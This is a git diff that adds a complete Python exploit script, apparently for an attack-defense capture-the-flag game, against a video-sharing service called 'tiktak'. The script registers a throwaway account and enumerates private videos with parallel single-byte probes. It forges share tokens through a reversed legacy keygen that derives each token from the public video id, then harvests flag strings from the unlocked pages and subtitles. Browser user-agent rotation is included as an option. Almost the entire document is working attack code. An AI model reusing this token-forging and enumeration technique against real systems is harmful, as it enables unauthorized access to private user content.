diff --git a/sploits/tiktak_keygen_forge.py b/sploits/tiktak_keygen_forge.py new file mode 100755 index 0000000..2bb1495 --- /dev/null +++ b/sploits/tiktak_keygen_forge.py @@ -0,0 +1,173 @@ +#!/usr/bin/env python3 +import sys +import re +import random +import requests +from concurrent.futures import ThreadPoolExecutor + +USE_CUSTOM_USER_AGENT = False +FLAG_RX = re.compile(r"[A-Z0-9]{31}=") + +USER_AGENTS = [ + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15", + "Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0", + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0" +] + +PORT = 5000 +DEPTH = 3000 # id растут ~500/мин из-за флуда, приватные тонут глубоко +WORKERS = 50 +MAX_FORGE_FAILS = 6 # столько подряд отказов /access => команда запатчена +WATCH_RX = re.compile(r"/watch/(\d+)") +FEED_RX = re.compile(r'src="[^"]*preview_(\d+)(_blured)?\.png"') +# echo отдаёт статику ТОЛЬКО на GET (HEAD => 405), поэтому пробуем GET, +# но с Range: качаем один байт вместо всего PNG. +PROBE_HEADERS = {"Range": "bytes=0-0"} +ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" + + +def legacy_token(vid): + """Восстановлено из keygen/legacy/keygen.a (GenerateToken): + + int seed = n; + for (i = 0; i < 30; i++) { seed = (seed*17 + 42) % 62; out[i] = alpha[seed]; } + + Никакого ключа -- токен целиком выводится из публичного video id. + Состояние схлопывается в n%62 после первой итерации, так что на весь + сервис приходится всего 62 различных токена. + """ + seed = vid + out = [] + for _ in range(30): + seed = (seed * 17 + 42) % 62 + out.append(ALPHABET[seed]) + return "".join(out) + + +def exploit(target_ip): + flags = set() + + headers = {} + if USE_CUSTOM_USER_AGENT: + headers["User-Agent"] = random.choice(USER_AGENTS) + + # ------------------------------------------------------------------------- + # VULN: server/server.go handleAccess() + keygen/legacy/keygen.a + # if keygen.ValidateKey(key, vid) { s.db.AddAccess(ctx, vid, ac.GetId()) } + # + # Share-токен приватного видео считается ТОЛЬКО от video id, который виден + # в /feed. Форжим токен -> POST /access пишет строку в таблицу access -> + # haveAccess() пропускает нас легально -> /watch отдаёт description, а + # /vtt/?id=N субтитры. Обе точки, куда чекер кладёт флаг. + # + # Патч LFI на этот путь не влияет: сюда мы приходим с чистым числовым id + # и с настоящей записью о доступе. + # ------------------------------------------------------------------------- + try: + s = requests.Session() + s.headers.update(headers) + base = f"http://{target_ip}:{PORT}" + + # 1. нужен аккаунт: на /access висит RequiredMiddleware + login = "".join(random.choices("abcdefghijklmnopqrstuvwxyz", k=10)) + r = s.post(f"{base}/register", + data={"login": login, "password": "pw123456"}, timeout=6) + if r.status_code not in (200, 302): + print(f"[-] {target_ip}: register -> {r.status_code}", file=sys.stderr, flush=True) + return flags + + # 2. Приватное видео выдаёт себя размытым превью. /feed показывает лишь + # 50 последних, а id растут ~500/мин из-за чужого флуда, так что + # чекерские приватные ролики лежат на глубине в сотни-тысячи id. + # Сканируем диапазон параллельно, по одному байту на пробу. + feed = s.get(f"{base}/feed", timeout=6).text + ids = [int(x) for x in WATCH_RX.findall(feed)] + if not ids: + print(f"[!] {target_ip}: пустой /feed", file=sys.stderr, flush=True) + return flags + top = max(ids) + + def is_private(vid): + try: + r = s.get(f"{base}/public/static/preview_{vid}_blured.png", + headers=PROBE_HEADERS, timeout=5) + return vid if r.status_code in (200, 206) else None + except requests.RequestException: + return None + + span = range(top, max(0, top - DEPTH), -1) + with ThreadPoolExecutor(max_workers=WORKERS) as ex: + private = [v for v in ex.map(is_private, span) if v] + private.sort(reverse=True) + print(f"[*] {target_ip}: top={top}, приватных найдено {len(private)}", + file=sys.stderr, flush=True) + + fails = 0 + for vid in private: + try: + w = s.get(f"{base}/watch/{vid}", timeout=6) + except requests.RequestException: + continue + + if w.status_code == 200: + # публичное (или уже открытое) -- флаг всё равно может лежать тут + flags.update(FLAG_RX.findall(w.text)) + continue + if w.status_code != 403: + continue + + # 403 => приватное и доступа нет: форжим токен + r = s.post(f"{base}/access", + data={"videoID": vid, "token": legacy_token(vid)}, + timeout=6, allow_redirects=False) + if not r.headers.get("Location", "").endswith(f"/watch/{vid}"): + fails += 1 + if fails >= MAX_FORGE_FAILS: + print(f"[!] {target_ip}: {fails} отказов подряд -- keygen запатчен", + file=sys.stderr, flush=True) + break + continue + fails = 0 + + found = set(FLAG_RX.findall(s.get(f"{base}/watch/{vid}", timeout=6).text)) + found |= set(FLAG_RX.findall( + s.get(f"{base}/vtt/", params={"id": vid}, timeout=6).text)) + if found: + flags.update(found) + print(f"[+] {target_ip}: видео {vid} -> {len(found)} флагов", + file=sys.stderr, flush=True) + + except requests.RequestException as e: + print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True) + # ------------------------------------------------------------------------- + + return flags + + +def main(): + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} ", file=sys.stderr, flush=True) + sys.exit(1) + + target_ip = sys.argv[1] + + try: + found_flags = exploit(target_ip) + + if found_flags is None: + found_flags = [] + elif isinstance(found_flags, str): + found_flags = [found_flags] + + for flag in found_flags: + clean_flag = str(flag).strip() + if FLAG_RX.fullmatch(clean_flag): + print(clean_flag, flush=True) + + except Exception as e: + print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True) + + +if __name__ == "__main__": + main()